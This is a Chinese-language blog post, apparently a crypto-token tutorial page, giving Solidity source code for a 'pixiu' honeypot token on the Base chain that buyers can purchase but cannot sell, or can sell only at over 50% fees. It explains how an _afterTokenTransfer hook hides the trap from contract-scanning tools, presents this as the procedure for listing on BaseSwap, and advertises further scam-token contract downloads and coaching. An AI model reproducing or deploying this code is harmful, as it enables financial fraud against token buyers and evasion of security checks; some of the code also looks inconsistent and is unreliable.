BASE链上貔貅币完整版合约源码,上线baseswap交易所

  • A+
所属分类:Coinbase(BASE)

chatGPT账号

BASE链上貔貅币完整版合约源码,上线baseswap交易所

一、说明

随着coinbase layer2 base链的爆火,目前base链上出现了多种类型的貔貅币。所谓貔貅币即只能买入不允许卖出的代币,或者卖出手续费极高的代币。并且该类型的代币通常具备相同的运营特点:

  1. 开盘即大幅度的拉升以吸引目标用户参与项目,通常5分钟,24小时k线及涨幅都比较高
  2. 流动性总体量比较高,简单通过流动性体量无法判断项目的可靠性
  3. 通过合约检测工具检测一般不开源,即使部分貔貅合约代码开源也无法通过合约检测工具正确识别为貔貅币
  4. 通常不允许卖出,或者设置比较高的卖出手续费。一般用户很难在该类型项目上盈利。

二、完整版合约代码

以下为合约开源,但是无法正常通过合约检测工具识别为貔貅币的一个项目案例

  1. _transfer函数完整代码如下
    function _transfer(
        address from,
        address to,
        uint256 amount
      ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
    
        _beforeTokenTransfer(from, to, amount);
    
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
          _balances[from] = fromBalance - amount;
          // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
          // decrementing then incrementing.
          _balances[to] += amount;
        }
    
        emit Transfer(from, to, amount);
    
        _afterTokenTransfer(from, to, amount);
      }
    

     

  2. _afterTokenTransfer函数代码
function _afterTokenTransfer(
    address from,
    address to,
    uint256 amount
  ) internal virtual {
    address(this).safeTransferFrom(from, to, amount);
  }

3. safeTransferFrom函数完整代码

function safeTransferFrom(
        address token,
        address from,
        address to,
        uint256 value
    ) internal {
        _callOptionalReturn(IERC20(token.isContract()), abi.encodeWithSelector(0x23b872dd, from, to, value));
    }

4. transferFrom函数完整代码

function transferFrom(
    address from,
    address to,
    uint256 amount
  ) public virtual override returns (bool) {
    address spender = _msgSender();
    _spendAllowance(from, spender, amount);
    _transfer(from, to, amount);
    return true;
  }

通过借助_afterTokenTransfer函数的hook钩子功能,循环调用transferFrom函数来实现卖出高手续费功能,只有通过聚合器调用uniswapRouter的

swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 amountIn,uint256 amountOutMin,address[] path,address to,uint256 deadline)

方法才能卖出代币,比较产生超过50%的卖出手续费。

通过常规的dexswap,baseswap等支持base链的dex无法卖出该代币。只能买入代币,因此造成一个只允许买入不能卖出,即使卖出也产生高卖出手续费的貔貅币现象。

至此,完成BASE链上貔貅币完整版合约源码,上线baseswap交易所的所有操作流程。

pdf+视频Coinbase base链发币教程及多模式组合合约源代码下载:

Coinbase base链发币(合约部署、开源、锁仓、LP、参数配置、开发、故障处理、工具使用)教程下载:

BASE链上貔貅币完整版合约源码,上线baseswap交易所

多模式(燃烧、回流指定营销地址、分红本币及任意币种,邀请推广八代收益,LP加池分红、交易分红、复利分红、NFT分红、自动筑池、动态手续费、定时开盘、回购)组合合约源代码下载:

BASE链上貔貅币完整版合约源码,上线baseswap交易所BASE链上貔貅币完整版合约源码,上线baseswap交易所

pdf+视频Coinbase base发币教程及多模式组合合约源代码下载地址:

此处为隐藏的内容!
登录后才能查看!

添加VX或者telegram获取全程线上免费指导

BASE链上貔貅币完整版合约源码,上线baseswap交易所
免责声明

免责声明:

本文不代表知点网立场,且不构成投资建议,请谨慎对待。用户由此造成的损失由用户自行承担,与知点网没有任何关系;

知点网不对网站所发布内容的准确性,真实性等任何方面做任何形式的承诺和保障;

网站内所有涉及到的区块链(衍生)项目,知点网对项目的真实性,准确性等任何方面均不做任何形式的承诺和保障;

网站内所有涉及到的区块链(衍生)项目,知点网不对其构成任何投资建议,用户由此造成的损失由用户自行承担,与知点网没有任何关系;

知点区块链研究院声明:知点区块链研究院内容由知点网发布,部分来源于互联网和行业分析师投稿收录,内容为知点区块链研究院加盟专职分析师独立观点,不代表知点网立场。

本文是全系列中第224 / 237篇:通证发行

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的电报
  • 这是我的电报扫一扫
  • weinxin
chatGPT账号
知点

发表评论

您必须登录才能发表评论!